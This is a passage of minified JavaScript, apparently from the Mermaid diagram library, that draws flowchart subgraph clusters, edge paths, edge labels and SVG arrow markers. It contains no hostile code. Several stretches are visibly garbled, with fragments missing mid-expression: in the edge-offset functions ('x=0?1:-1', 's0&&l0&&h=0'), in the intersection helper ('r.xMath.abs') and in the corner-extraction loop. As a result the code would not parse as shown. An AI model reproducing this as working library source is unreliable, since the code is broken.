"),shape:"rect",dir:f.dir,isGroup:!0,look:e.look})}this.getVertices().forEach(h=>{this.addNodeFromVertex(h,r,a,s,e,e.look||"classic")});let u=this.getEdges();return u.forEach((h,f)=>{let{arrowTypeStart:d,arrowTypeEnd:p}=this.destructEdgeType(h.type),m=[...u.defaultStyle??[]];h.style&&m.push(...h.style);let g={id:xc(h.start,h.end,{counter:f,prefix:"L"},h.id),isUserDefinedId:h.isUserDefinedId,start:h.start,end:h.end,type:h.type??"normal",label:h.text,labelpos:"c",thickness:h.stroke,minlen:h.length,classes:h?.stroke==="invisible"?"":"edge-thickness-normal edge-pattern-solid flowchart-link",arrowTypeStart:h?.stroke==="invisible"||h?.type==="arrow_open"?"none":d,arrowTypeEnd:h?.stroke==="invisible"||h?.type==="arrow_open"?"none":p,arrowheadStyle:"fill: #333",cssCompiledStyles:this.getCompiledStyles(h.classes),labelStyle:m,style:m,pattern:h.stroke,look:e.look,animate:h.animate,animation:h.animation,curve:h.interpolate||this.edges.defaultInterpolate||e.flowchart?.curve};n.push(g)}),{nodes:r,edges:n,other:{},config:e}}defaultConfig(){return G3.flowchart}}});var Vo,ep=N(()=>{"use strict";yr();Vo=o((t,e)=>{let r;return e==="sandbox"&&(r=qe("#i"+t)),(e==="sandbox"?qe(r.nodes()[0].contentDocument.body):qe("body")).select(`[id="${t}"]`)},"getDiagramElement")});var Pu,O2=N(()=>{"use strict";Pu=o(({flowchart:t})=>{let e=t?.subGraphTitleMargin?.top??0,r=t?.subGraphTitleMargin?.bottom??0,n=e+r;return{subGraphTitleTopMargin:e,subGraphTitleBottomMargin:r,subGraphTitleTotalMargin:n}},"getSubGraphTitleMargins")});var Fte,ARe,_Re,DRe,LRe,RRe,NRe,$te,Sm,zte,cw=N(()=>{"use strict";Xt();gr();pt();O2();yr();Ht();zo();S9();aw();Zd();$t();Fte=o(async(t,e)=>{X.info("Creating subgraph rect for ",e.id,e);let r=ge(),{themeVariables:n,handDrawnSeed:i}=r,{clusterBkg:a,clusterBorder:s}=n,{labelStyles:l,nodeStyles:u,borderStyles:h,backgroundStyles:f}=je(e),d=t.insert("g").attr("class","cluster "+e.cssClasses).attr("id",e.id).attr("data-look",e.look),p=vr(r.flowchart.htmlLabels),m=d.insert("g").attr("class","cluster-label "),g=await di(m,e.label,{style:e.labelStyle,useHtmlLabels:p,isNode:!0}),y=g.getBBox();if(vr(r.flowchart.htmlLabels)){let A=g.children[0],C=qe(g);y=A.getBoundingClientRect(),C.attr("width",y.width),C.attr("height",y.height)}let v=e.width<=y.width+e.padding?y.width+e.padding:e.width;e.width<=y.width+e.padding?e.diff=(v-e.width)/2-e.padding:e.diff=-e.padding;let x=e.height,b=e.x-v/2,T=e.y-x/2;X.trace("Data ",e,JSON.stringify(e));let S;if(e.look==="handDrawn"){let A=Ze.svg(d),C=Je(e,{roughness:.7,fill:a,stroke:s,fillWeight:3,seed:i}),R=A.path(Fs(b,T,v,x,0),C);S=d.insert(()=>(X.debug("Rough node insert CXC",R),R),":first-child"),S.select("path:nth-child(2)").attr("style",h.join(";")),S.select("path").attr("style",f.join(";").replace("fill","stroke"))}else S=d.insert("rect",":first-child"),S.attr("style",u).attr("rx",e.rx).attr("ry",e.ry).attr("x",b).attr("y",T).attr("width",v).attr("height",x);let{subGraphTitleTopMargin:w}=Pu(r);if(m.attr("transform",`translate(${e.x-y.width/2}, ${e.y-e.height/2+w})`),l){let A=m.select("span");A&&A.attr("style",l)}let k=S.node().getBBox();return e.offsetX=0,e.width=k.width,e.height=k.height,e.offsetY=y.height-e.padding/2,e.intersect=function(A){return Qh(e,A)},{cluster:d,labelBBox:y}},"rect"),ARe=o((t,e)=>{let r=t.insert("g").attr("class","note-cluster").attr("id",e.id),n=r.insert("rect",":first-child"),i=0*e.padding,a=i/2;n.attr("rx",e.rx).attr("ry",e.ry).attr("x",e.x-e.width/2-a).attr("y",e.y-e.height/2-a).attr("width",e.width+i).attr("height",e.height+i).attr("fill","none");let s=n.node().getBBox();return e.width=s.width,e.height=s.height,e.intersect=function(l){return Qh(e,l)},{cluster:r,labelBBox:{width:0,height:0}}},"noteGroup"),_Re=o(async(t,e)=>{let r=ge(),{themeVariables:n,handDrawnSeed:i}=r,{altBackground:a,compositeBackground:s,compositeTitleBackground:l,nodeBorder:u}=n,h=t.insert("g").attr("class",e.cssClasses).attr("id",e.id).attr("data-id",e.id).attr("data-look",e.look),f=h.insert("g",":first-child"),d=h.insert("g").attr("class","cluster-label"),p=h.append("rect"),m=d.node().appendChild(await kc(e.label,e.labelStyle,void 0,!0)),g=m.getBBox();if(vr(r.flowchart.htmlLabels)){let R=m.children[0],I=qe(m);g=R.getBoundingClientRect(),I.attr("width",g.width),I.attr("height",g.height)}let y=0*e.padding,v=y/2,x=(e.width<=g.width+e.padding?g.width+e.padding:e.width)+y;e.width<=g.width+e.padding?e.diff=(x-e.width)/2-e.padding:e.diff=-e.padding;let b=e.height+y,T=e.height+y-g.height-6,S=e.x-x/2,w=e.y-b/2;e.width=x;let k=e.y-e.height/2-v+g.height+2,A;if(e.look==="handDrawn"){let R=e.cssClasses.includes("statediagram-cluster-alt"),I=Ze.svg(h),L=e.rx||e.ry?I.path(Fs(S,w,x,b,10),{roughness:.7,fill:l,fillStyle:"solid",stroke:u,seed:i}):I.rectangle(S,w,x,b,{seed:i});A=h.insert(()=>L,":first-child");let E=I.rectangle(S,k,x,T,{fill:R?a:s,fillStyle:R?"hachure":"solid",stroke:u,seed:i});A=h.insert(()=>L,":first-child"),p=h.insert(()=>E)}else A=f.insert("rect",":first-child"),A.attr("class","outer").attr("x",S).attr("y",w).attr("width",x).attr("height",b).attr("data-look",e.look),p.attr("class","inner").attr("x",S).attr("y",k).attr("width",x).attr("height",T);d.attr("transform",`translate(${e.x-g.width/2}, ${w+1-(vr(r.flowchart.htmlLabels)?0:3)})`);let C=A.node().getBBox();return e.height=C.height,e.offsetX=0,e.offsetY=g.height-e.padding/2,e.labelBBox=g,e.intersect=function(R){return Qh(e,R)},{cluster:h,labelBBox:g}},"roundedWithTitle"),DRe=o(async(t,e)=>{X.info("Creating subgraph rect for ",e.id,e);let r=ge(),{themeVariables:n,handDrawnSeed:i}=r,{clusterBkg:a,clusterBorder:s}=n,{labelStyles:l,nodeStyles:u,borderStyles:h,backgroundStyles:f}=je(e),d=t.insert("g").attr("class","cluster "+e.cssClasses).attr("id",e.id).attr("data-look",e.look),p=vr(r.flowchart.htmlLabels),m=d.insert("g").attr("class","cluster-label "),g=await di(m,e.label,{style:e.labelStyle,useHtmlLabels:p,isNode:!0,width:e.width}),y=g.getBBox();if(vr(r.flowchart.htmlLabels)){let A=g.children[0],C=qe(g);y=A.getBoundingClientRect(),C.attr("width",y.width),C.attr("height",y.height)}let v=e.width<=y.width+e.padding?y.width+e.padding:e.width;e.width<=y.width+e.padding?e.diff=(v-e.width)/2-e.padding:e.diff=-e.padding;let x=e.height,b=e.x-v/2,T=e.y-x/2;X.trace("Data ",e,JSON.stringify(e));let S;if(e.look==="handDrawn"){let A=Ze.svg(d),C=Je(e,{roughness:.7,fill:a,stroke:s,fillWeight:4,seed:i}),R=A.path(Fs(b,T,v,x,e.rx),C);S=d.insert(()=>(X.debug("Rough node insert CXC",R),R),":first-child"),S.select("path:nth-child(2)").attr("style",h.join(";")),S.select("path").attr("style",f.join(";").replace("fill","stroke"))}else S=d.insert("rect",":first-child"),S.attr("style",u).attr("rx",e.rx).attr("ry",e.ry).attr("x",b).attr("y",T).attr("width",v).attr("height",x);let{subGraphTitleTopMargin:w}=Pu(r);if(m.attr("transform",`translate(${e.x-y.width/2}, ${e.y-e.height/2+w})`),l){let A=m.select("span");A&&A.attr("style",l)}let k=S.node().getBBox();return e.offsetX=0,e.width=k.width,e.height=k.height,e.offsetY=y.height-e.padding/2,e.intersect=function(A){return Qh(e,A)},{cluster:d,labelBBox:y}},"kanbanSection"),LRe=o((t,e)=>{let r=ge(),{themeVariables:n,handDrawnSeed:i}=r,{nodeBorder:a}=n,s=t.insert("g").attr("class",e.cssClasses).attr("id",e.id).attr("data-look",e.look),l=s.insert("g",":first-child"),u=0*e.padding,h=e.width+u;e.diff=-e.padding;let f=e.height+u,d=e.x-h/2,p=e.y-f/2;e.width=h;let m;if(e.look==="handDrawn"){let v=Ze.svg(s).rectangle(d,p,h,f,{fill:"lightgrey",roughness:.5,strokeLineDash:[5],stroke:a,seed:i});m=s.insert(()=>v,":first-child")}else m=l.insert("rect",":first-child"),m.attr("class","divider").attr("x",d).attr("y",p).attr("width",h).attr("height",f).attr("data-look",e.look);let g=m.node().getBBox();return e.height=g.height,e.offsetX=0,e.offsetY=0,e.intersect=function(y){return Qh(e,y)},{cluster:s,labelBBox:{}}},"divider"),RRe=Fte,NRe={rect:Fte,squareRect:RRe,roundedWithTitle:_Re,noteGroup:ARe,divider:LRe,kanbanSection:DRe},$te=new Map,Sm=o(async(t,e)=>{let r=e.shape||"rect",n=await NRe[r](t,e);return $te.set(e.id,n),n},"insertCluster"),zte=o(()=>{$te=new Map},"clear")});function uw(t,e){if(t===void 0||e===void 0)return{angle:0,deltaX:0,deltaY:0};t=Xn(t),e=Xn(e);let[r,n]=[t.x,t.y],[i,a]=[e.x,e.y],s=i-r,l=a-n;return{angle:Math.atan(l/s),deltaX:s,deltaY:l}}var fa,Y9,Xn,hw,X9=N(()=>{"use strict";fa={aggregation:17.25,extension:17.25,composition:17.25,dependency:6,lollipop:13.5,arrow_point:4},Y9={arrow_point:9,arrow_cross:12.5,arrow_circle:12.5};o(uw,"calculateDeltaAndAngle");Xn=o(t=>Array.isArray(t)?{x:t[0],y:t[1]}:t,"pointTransformer"),hw=o(t=>({x:o(function(e,r,n){let i=0,a=Xn(n[0]).x=0?1:-1)}else if(r===n.length-1&&Object.hasOwn(fa,t.arrowTypeEnd)){let{angle:m,deltaX:g}=uw(n[n.length-1],n[n.length-2]);i=fa[t.arrowTypeEnd]*Math.cos(m)*(g>=0?1:-1)}let s=Math.abs(Xn(e).x-Xn(n[n.length-1]).x),l=Math.abs(Xn(e).y-Xn(n[n.length-1]).y),u=Math.abs(Xn(e).x-Xn(n[0]).x),h=Math.abs(Xn(e).y-Xn(n[0]).y),f=fa[t.arrowTypeStart],d=fa[t.arrowTypeEnd],p=1;if(s0&&l0&&h=0?1:-1)}else if(r===n.length-1&&Object.hasOwn(fa,t.arrowTypeEnd)){let{angle:m,deltaY:g}=uw(n[n.length-1],n[n.length-2]);i=fa[t.arrowTypeEnd]*Math.abs(Math.sin(m))*(g>=0?1:-1)}let s=Math.abs(Xn(e).y-Xn(n[n.length-1]).y),l=Math.abs(Xn(e).x-Xn(n[n.length-1]).x),u=Math.abs(Xn(e).y-Xn(n[0]).y),h=Math.abs(Xn(e).x-Xn(n[0]).x),f=fa[t.arrowTypeStart],d=fa[t.arrowTypeEnd],p=1;if(s0&&l0&&h{"use strict";pt();Vte=o((t,e,r,n,i,a)=>{e.arrowTypeStart&&Gte(t,"start",e.arrowTypeStart,r,n,i,a),e.arrowTypeEnd&&Gte(t,"end",e.arrowTypeEnd,r,n,i,a)},"addEdgeMarkers"),MRe={arrow_cross:{type:"cross",fill:!1},arrow_point:{type:"point",fill:!0},arrow_barb:{type:"barb",fill:!0},arrow_circle:{type:"circle",fill:!1},aggregation:{type:"aggregation",fill:!1},extension:{type:"extension",fill:!1},composition:{type:"composition",fill:!0},dependency:{type:"dependency",fill:!0},lollipop:{type:"lollipop",fill:!1},only_one:{type:"onlyOne",fill:!1},zero_or_one:{type:"zeroOrOne",fill:!1},one_or_more:{type:"oneOrMore",fill:!1},zero_or_more:{type:"zeroOrMore",fill:!1},requirement_arrow:{type:"requirement_arrow",fill:!1},requirement_contains:{type:"requirement_contains",fill:!1}},Gte=o((t,e,r,n,i,a,s)=>{let l=MRe[r];if(!l){X.warn(`Unknown arrow type: ${r}`);return}let u=l.type,f=`${i}_${a}-${u}${e==="start"?"Start":"End"}`;if(s&&s.trim()!==""){let d=s.replace(/[^\dA-Za-z]/g,"_"),p=`${f}_${d}`;if(!document.getElementById(p)){let m=document.getElementById(f);if(m){let g=m.cloneNode(!0);g.id=p,g.querySelectorAll("path, circle, line").forEach(v=>{v.setAttribute("stroke",s),l.fill&&v.setAttribute("fill",s)}),m.parentNode?.appendChild(g)}}t.attr(`marker-${e}`,`url(${n}#${p})`)}else t.attr(`marker-${e}`,`url(${n}#${f})`)},"addEdgeMarker")});function dw(t,e){ge().flowchart.htmlLabels&&t&&(t.style.width=e.length*9+"px",t.style.height="12px")}function PRe(t){let e=[],r=[];for(let n=1;n5&&Math.abs(a.y-i.y)>5||i.y===a.y&&a.x===s.x&&Math.abs(a.x-i.x)>5&&Math.abs(a.y-s.y)>5)&&(e.push(a),r.push(n))}return{cornerPoints:e,cornerPointPositions:r}}function $Re(t,e){if(t.length<2)return"";let r="",n=t.length,i=1e-5;for(let a=0;a({...i}));if(t.length>=2&&fa[e.arrowTypeStart]){let i=fa[e.arrowTypeStart],a=t[0],s=t[1],{angle:l}=Wte(a,s),u=i*Math.cos(l),h=i*Math.sin(l);r[0].x=a.x+u,r[0].y=a.y+h}let n=t.length;if(n>=2&&fa[e.arrowTypeEnd]){let i=fa[e.arrowTypeEnd],a=t[n-1],s=t[n-2],{angle:l}=Wte(s,a),u=i*Math.cos(l),h=i*Math.sin(l);r[n-1].x=a.x-u,r[n-1].y=a.y-h}return r}var pw,da,Yte,fw,mw,gw,IRe,ORe,Hte,qte,BRe,FRe,yw,j9=N(()=>{"use strict";Xt();gr();pt();zo();tr();X9();O2();yr();Ht();aw();Ute();$t();pw=new Map,da=new Map,Yte=o(()=>{pw.clear(),da.clear()},"clear"),fw=o(t=>t?t.reduce((r,n)=>r+";"+n,""):"","getLabelStyles"),mw=o(async(t,e)=>{let r=vr(ge().flowchart.htmlLabels),{labelStyles:n}=je(e);e.labelStyle=n;let i=await di(t,e.label,{style:e.labelStyle,useHtmlLabels:r,addSvgBackground:!0,isNode:!1});X.info("abc82",e,e.labelType);let a=t.insert("g").attr("class","edgeLabel"),s=a.insert("g").attr("class","label").attr("data-id",e.id);s.node().appendChild(i);let l=i.getBBox();if(r){let h=i.children[0],f=qe(i);l=h.getBoundingClientRect(),f.attr("width",l.width),f.attr("height",l.height)}s.attr("transform","translate("+-l.width/2+", "+-l.height/2+")"),pw.set(e.id,a),e.width=l.width,e.height=l.height;let u;if(e.startLabelLeft){let h=await kc(e.startLabelLeft,fw(e.labelStyle)),f=t.insert("g").attr("class","edgeTerminals"),d=f.insert("g").attr("class","inner");u=d.node().appendChild(h);let p=h.getBBox();d.attr("transform","translate("+-p.width/2+", "+-p.height/2+")"),da.get(e.id)||da.set(e.id,{}),da.get(e.id).startLeft=f,dw(u,e.startLabelLeft)}if(e.startLabelRight){let h=await kc(e.startLabelRight,fw(e.labelStyle)),f=t.insert("g").attr("class","edgeTerminals"),d=f.insert("g").attr("class","inner");u=f.node().appendChild(h),d.node().appendChild(h);let p=h.getBBox();d.attr("transform","translate("+-p.width/2+", "+-p.height/2+")"),da.get(e.id)||da.set(e.id,{}),da.get(e.id).startRight=f,dw(u,e.startLabelRight)}if(e.endLabelLeft){let h=await kc(e.endLabelLeft,fw(e.labelStyle)),f=t.insert("g").attr("class","edgeTerminals"),d=f.insert("g").attr("class","inner");u=d.node().appendChild(h);let p=h.getBBox();d.attr("transform","translate("+-p.width/2+", "+-p.height/2+")"),f.node().appendChild(h),da.get(e.id)||da.set(e.id,{}),da.get(e.id).endLeft=f,dw(u,e.endLabelLeft)}if(e.endLabelRight){let h=await kc(e.endLabelRight,fw(e.labelStyle)),f=t.insert("g").attr("class","edgeTerminals"),d=f.insert("g").attr("class","inner");u=d.node().appendChild(h);let p=h.getBBox();d.attr("transform","translate("+-p.width/2+", "+-p.height/2+")"),f.node().appendChild(h),da.get(e.id)||da.set(e.id,{}),da.get(e.id).endRight=f,dw(u,e.endLabelRight)}return i},"insertEdgeLabel");o(dw,"setTerminalWidth");gw=o((t,e)=>{X.debug("Moving label abc88 ",t.id,t.label,pw.get(t.id),e);let r=e.updatedPath?e.updatedPath:e.originalPath,n=ge(),{subGraphTitleTotalMargin:i}=Pu(n);if(t.label){let a=pw.get(t.id),s=t.x,l=t.y;if(r){let u=qt.calcLabelPosition(r);X.debug("Moving label "+t.label+" from (",s,",",l,") to (",u.x,",",u.y,") abc88"),e.updatedPath&&(s=u.x,l=u.y)}a.attr("transform",`translate(${s}, ${l+i/2})`)}if(t.startLabelLeft){let a=da.get(t.id).startLeft,s=t.x,l=t.y;if(r){let u=qt.calcTerminalLabelPosition(t.arrowTypeStart?10:0,"start_left",r);s=u.x,l=u.y}a.attr("transform",`translate(${s}, ${l})`)}if(t.startLabelRight){let a=da.get(t.id).startRight,s=t.x,l=t.y;if(r){let u=qt.calcTerminalLabelPosition(t.arrowTypeStart?10:0,"start_right",r);s=u.x,l=u.y}a.attr("transform",`translate(${s}, ${l})`)}if(t.endLabelLeft){let a=da.get(t.id).endLeft,s=t.x,l=t.y;if(r){let u=qt.calcTerminalLabelPosition(t.arrowTypeEnd?10:0,"end_left",r);s=u.x,l=u.y}a.attr("transform",`translate(${s}, ${l})`)}if(t.endLabelRight){let a=da.get(t.id).endRight,s=t.x,l=t.y;if(r){let u=qt.calcTerminalLabelPosition(t.arrowTypeEnd?10:0,"end_right",r);s=u.x,l=u.y}a.attr("transform",`translate(${s}, ${l})`)}},"positionEdgeLabel"),IRe=o((t,e)=>{let r=t.x,n=t.y,i=Math.abs(e.x-r),a=Math.abs(e.y-n),s=t.width/2,l=t.height/2;return i>=s||a>=l},"outsideNode"),ORe=o((t,e,r)=>{X.debug(`intersection calc abc89: + outsidePoint: ${JSON.stringify(e)} + insidePoint : ${JSON.stringify(r)} + node : x:${t.x} y:${t.y} w:${t.width} h:${t.height}`);let n=t.x,i=t.y,a=Math.abs(n-r.x),s=t.width/2,l=r.xMath.abs(n-e.x)*u){let d=r.y{X.warn("abc88 cutPathAtIntersect",t,e);let r=[],n=t[0],i=!1;return t.forEach(a=>{if(X.info("abc88 checking point",a,e),!IRe(e,a)&&!i){let s=ORe(e,n,a);X.debug("abc88 inside",a,n,s),X.debug("abc88 intersection",s,e);let l=!1;r.forEach(u=>{l=l||u.x===s.x&&u.y===s.y}),r.some(u=>u.x===s.x&&u.y===s.y)?X.warn("abc88 no intersect",s,r):r.push(s),i=!0}else X.warn("abc88 outside",a,n),n=a,i||r.push(a)}),X.debug("returning points",r),r},"cutPathAtIntersect");o(PRe,"extractCornerPoints");qte=o(function(t,e,r){let n=e.x-t.x,i=e.y-t.y,a=Math.sqrt(n*n+i*i),s=r/a;return{x:e.x-s*n,y:e.y-s*i}},"findAdjacentPoint"),BRe=o(function(t){let{cornerPointPositions:e}=PRe(t),r=[];for(let n=0;n10&&Math.abs(a.y-i.y)>=10){X.debug("Corner point fixing",Math.abs(a.x-i.x),Math.abs(a.y-i.y));let m=5;s.x===l.x?p={x:h<0?l.x-m+d:l.x+m-d,y:f<0?l.y-d:l.y+d}:p={x:h<0?l.x-d:l.x+d,y:f<0?l.y-m+d:l.y+m-d}}else X.debug("Corner point skipping fixing",Math.abs(a.x-i.x),Math.abs(a.y-i.y));r.push(p,u)}else r.push(t[n]);return r},"fixCorners"),FRe=o((t,e,r)=>{let n=t-e-r,i=2,a=2,s=i+a,l=Math.floor(n/s),u=Array(l).fill(`${i} ${a}`).join(" ");return`0 ${e} ${u} ${r}`},"generateDashArray"),yw=o(function(t,e,r,n,i,a,s,l=!1){let{handDrawnSeed:u}=ge(),h=e.points,f=!1,d=i;var p=a;let m=[];for(let _ in e.cssCompiledStyles)_2(_)||m.push(e.cssCompiledStyles[_]);X.debug("UIO intersect check",e.points,p.x,d.x),p.intersect&&d.intersect&&!l&&(h=h.slice(1,e.points.length-1),h.unshift(d.intersect(h[0])),X.debug("Last point UIO",e.start,"-->",e.end,h[h.length-1],p,p.intersect(h[h.length-1])),h.push(p.intersect(h[h.length-1])));let g=btoa(JSON.stringify(h));e.toCluster&&(X.info("to cluster abc88",r.get(e.toCluster)),h=Hte(e.points,r.get(e.toCluster).node),f=!0),e.fromCluster&&(X.debug("from cluster abc88",r.get(e.fromCluster),JSON.stringify(h,null,2)),h=Hte(h.reverse(),r.get(e.fromCluster).node).reverse(),f=!0);let y=h.filter(_=>!Number.isNaN(_.y));y=BRe(y);let v=No;switch(v=Cu,e.curve){case"linear":v=Cu;break;case"basis":v=No;break;case"cardinal":v=Yv;break;case"bumpX":v=Vv;break;case"bumpY":v=Uv;break;case"catmullRom":v=Kv;break;case"monotoneX":v=Qv;break;case"monotoneY":v=Zv;break;case"natural":v=J0;break;case"step":v=em;break;case"stepAfter":v=e2;break;case"stepBefore":v=Jv;break;default:v=No}let{x,y:b}=hw(e),T=Cl().x(x).y(b).curve(v),S;switch(e.thickness){case"normal":S="edge-thickness-normal";break;case"thick":S="edge-thickness-thick";break;case"invisible":S="edge-thickness-invisible";break;default:S="edge-thickness-normal"}switch(e.pattern){case"solid":S+=" edge-pattern-solid";break;case"dotted":S+=" edge-pattern-dotted";break;case"dashed":S+=" edge-pattern-dashed";break;default:S+=" edge-pattern-solid"}let w,k=e.curve==="rounded"?$Re(zRe(y,e),5):T(y),A=Array.isArray(e.style)?e.style:[e.style],C=A.find(_=>_?.startsWith("stroke:")),R=!1;if(e.look==="handDrawn"){let _=Ze.svg(t);Object.assign([],y);let O=_.path(k,{roughness:.3,seed:u});S+=" transition",w=qe(O).select("path").attr("id",e.id).attr("class"," "+S+(e.classes?" "+e.classes:"")).attr("style",A?A.reduce((P,B)=>P+";"+B,""):"");let M=w.attr("d");w.attr("d",M),t.node().appendChild(w.node())}else{let _=m.join(";"),O=A?A.reduce((U,j)=>U+j+";",""):"",M="";e.animate&&(M=" edge-animation-fast"),e.animation&&(M=" edge-animation-"+e.animation);let P=(_?_+";"+O+";":O)+";"+(A?A.reduce((U,j)=>U+";"+j,""):"");w=t.append("path").attr("d",k).attr("id",e.id).attr("class"," "+S+(e.classes?" "+e.classes:"")+(M??"")).attr("style",P),C=P.match(/stroke:([^;]+)/)?.[1],R=e.animate===!0||!!e.animation||_.includes("animation");let B=w.node(),F=typeof B.getTotalLength=="function"?B.getTotalLength():0,G=Y9[e.arrowTypeStart]||0,$=Y9[e.arrowTypeEnd]||0;if(e.look==="neo"&&!R){let j=`stroke-dasharray: ${e.pattern==="dotted"||e.pattern==="dashed"?FRe(F,G,$):`0 ${G} ${F-G-$} ${$}`}; stroke-dashoffset: 0;`;w.attr("style",j+w.attr("style"))}}w.attr("data-edge",!0),w.attr("data-et","edge"),w.attr("data-id",e.id),w.attr("data-points",g),e.showPoints&&y.forEach(_=>{t.append("circle").style("stroke","red").style("fill","red").attr("r",1).attr("cx",_.x).attr("cy",_.y)});let I="";(ge().flowchart.arrowMarkerAbsolute||ge().state.arrowMarkerAbsolute)&&(I=window.location.protocol+"//"+window.location.host+window.location.pathname+window.location.search,I=I.replace(/\(/g,"\\(").replace(/\)/g,"\\)")),X.info("arrowTypeStart",e.arrowTypeStart),X.info("arrowTypeEnd",e.arrowTypeEnd),Vte(w,e,I,s,n,C);let L=Math.floor(h.length/2),E=h[L];qt.isLabelCoordinateInPath(E,w.attr("d"))||(f=!0);let D={};return f&&(D.updatedPath=h),D.originalPath=e.points,D},"insertEdge");o($Re,"generateRoundedPath");o(Wte,"calculateDeltaAndAngle");o(zRe,"applyMarkerOffsetsToPoints")});var GRe,VRe,URe,HRe,qRe,WRe,YRe,XRe,jRe,KRe,QRe,ZRe,JRe,eNe,tNe,rNe,nNe,vw,K9=N(()=>{"use strict";pt();GRe=o((t,e,r,n)=>{e.forEach(i=>{nNe[i](t,r,n)})},"insertMarkers"),VRe=o((t,e,r)=>{X.trace("Making markers for ",r),t.append("defs").append("marker").attr("id",r+"_"+e+"-extensionStart").attr("class","marker extension "+e).attr("refX",18).attr("refY",7).attr("markerWidth",190).attr("markerHeight",240).attr("orient","auto").append("path").attr("d","M 1,7 L18,13 V 1 Z"),t.append("defs").append("marker").attr("id",r+"_"+e+"-extensionEnd").attr("class","marker extension "+e).attr("refX",1).attr("refY",7).attr("markerWidth",20).attr("markerHeight",28).attr("orient","auto").append("path").attr("d","M 1,1 V 13 L18,7 Z")},"extension"),URe=o((t,e,r)=>{t.append("defs").append("marker").attr("id",r+"_"+e+"-compositionStart").attr("class","marker composition "+e).attr("refX",18).attr("refY",7).attr("markerWidth",190).attr("markerHeight",240).attr("orient","auto").append("path").attr("d","M 18,7 L9,13 L1,7 L9,1 Z"),t.append("defs").append("marker").attr("id",r+"_"+e+"-compositionEnd").attr("class","marker composition "+e).attr("refX",1).attr("refY",7).attr("markerWidth",20).attr("markerHeight",28).attr("orient","auto").append("path").attr("d","M 18,7 L9,13 L1,7 L9,1 Z")},"composition"),HRe=o((t,e,r)=>{t.append("defs").append("marker").attr("id",r+"_"+e+"-aggregationStart").attr("class","marker aggregation "+e).attr("refX",18).attr("refY",7).attr("markerWidth",190).attr("markerHeight",240).attr("orient","auto").append("path").attr("d","M 18,7 L9,13 L1,7 L9,1 Z"),t.append("defs").append("marker").attr("id",r+"_"+e+"-aggregationEnd").attr("class","marker aggregation "+e).attr("refX",1).attr("refY",7).attr("markerWidth",20).attr("markerHeight",28).attr("orient","auto").append("path").attr("d","M 18,7 L9,13 L1,7 L9,1 Z")},"aggregation"),qRe=o((t,e,r)=>{t.append("defs").append("marker").attr("id",r+"_"+e+"-dependencyStart").attr("class","marker dependency "+e).attr("refX",6).attr("refY",7).attr("markerWidth",190).attr("markerHeight",240).attr("orient","auto").append("path").attr("d","M 5,7 L9,13 L1,7 L9,1 Z"),t.append("defs").append("marker").attr("id",r+"_"+e+"-dependencyEnd").attr("class","marker dependency "+e).attr("refX",13).attr("refY",7).attr("markerWidth",20).attr("markerHeight",28).attr("orient","auto").append("path").attr("d","M 18,7 L9,13 L14,7 L9,1 Z")},"dependency"),WRe=o((t,e,r)=>{t.append("defs").append("marker").attr("id",r+"_"+e+"-lollipopStart").attr("class","marker lollipop "+e).attr("refX",13).attr("refY",7).attr("markerWidth",190).attr("markerHeight",240).attr("orient","auto").append("circle").attr("stroke","black").attr("fill","transparent").attr("cx",7).attr("cy",7).attr("r",6),t.append("defs").append("marker").attr("id",r+"_"+e+"-lollipopEnd").attr("class","marker lollipop "+e).attr("refX",1).attr("refY",7).attr("markerWidth",190).attr("markerHeight",240).attr("orient","auto").append("circle").attr("stroke","black").attr("fill","transparent").attr("cx",7).attr("cy",7).attr("r",6)},"lollipop"),YRe=o((t,e,r)=>{t.append("marker").attr("id",r+"_"+e+"-pointEnd").attr("class","marker "+e).attr("viewBox","0 0 10 10").attr("refX",5).attr("refY",5).attr("markerUnits","userSpaceOnUse").attr("markerWidth",8).attr("markerHeight",8).attr("orient","auto").append("path").attr("d","M 0 0 L 10 5 L 0 10 z").attr("class","arrowMarkerPath").style("stroke-width",1).style("stroke-dasharray","1,0"),t.append("marker").attr("id",r+"_"+e+"-pointStart").attr("class","marker "+e).attr("viewBox","0 0 10 10").attr("refX",4.5).attr("refY",5).attr("markerUnits","userSpaceOnUse").attr("markerWidth",8).attr("markerHeight",8).attr("orient","auto").append("path").attr("d","M 0 5 L 10 10 L 10 0 z").attr("class","arrowMarkerPath").style("stroke-width",1).style("stroke-dasharray","1,0")},"point"),XRe=o((t,e,r)=>{t.append("marker").attr("id",r+"_"+e+"-circleEnd").attr("class","marker "+e).attr("viewBox","0 0 10 10").attr("refX",11).attr("refY",5).attr("markerUnits","userSpaceOnUse").attr("markerWidth",11).attr("markerHeight",11).attr("orient","auto").append("circle").attr("cx","5").attr("cy","5").attr("r","5").attr("class","arrowMarkerPath").style("stroke-width",1).style("stroke-dasharray","1,0"),t.append("marker").attr("id",r+"_"+e+"-circleStart").attr("class","marker "+e).attr("viewBox","0 0 10 10").attr("refX",-1).attr("refY",5).attr("markerUnits","userSpaceOnUse").attr("markerWidth",11).attr("markerHeight",11).attr("orient","auto").append("circle").attr("cx","5").attr("cy","5").attr("r","5").attr("class","arrowMarkerPath").style("stroke-width",1).style("stroke-dasharray","1,0")},"circle"),jRe=o((t,e,r)=>{t.append("marker").attr("id",r+"_"+e+"-crossEnd").attr("class","marker cross "+e).attr("viewBox","0 0 11 11").attr("refX",12).attr("refY",5.2).attr("markerUnits","userSpaceOnUse").attr("markerWidth",11).attr("markerHeight",11).attr("orient","auto").append("path").attr("d","M 1,1 l 9,9 M 10,1 l -9,9").attr("class","arrowMarkerPath").style("stroke-width",2).style("stroke-dasharray","1,0"),t.append("marker").attr("id",r+"_"+e+"-crossStart").attr("class","marker cross "+e).attr("viewBox","0 0 11 11").attr("refX",-1).attr("refY",5.2).attr("markerUnits","userSpaceOnUse").attr("markerWidth",11).attr("markerHeight",11).attr("orient","auto").append("path").attr("d","M 1,1 l 9,9 M 10,1 l -9,9").attr("class","arrowMarkerPath").style("stroke-width",2).style("stroke-dasharray","1,0")},"cross"),KRe=o((t,e,r)=>{t.append("defs").append("marker").attr("id",r+"_"+e+"-barbEnd").attr("refX",19).attr("refY",7).attr("markerWidth",20).attr("markerHeight",14).attr("markerUnits","userSpaceOnUse").attr("orient","auto").append("path").attr("d","M 19,7 L9,13 L14,7 L9,1 Z")},"barb"),QRe=o((t,e,r)=>{t.append("defs").append("marker").attr("id",r+"_"+e+"-onlyOneStart").attr("class","marker onlyOne "+e).attr("refX",0).attr("refY",9).attr("markerWidth",18).attr("markerHeight",18).attr("orient","auto").append("path").attr("d","M9,0 L9,18 M15,0 L15,18"),t.append("defs").append("marker").attr("id",r+"_"+e+"-onlyOneEnd").attr("class","marker onlyOne 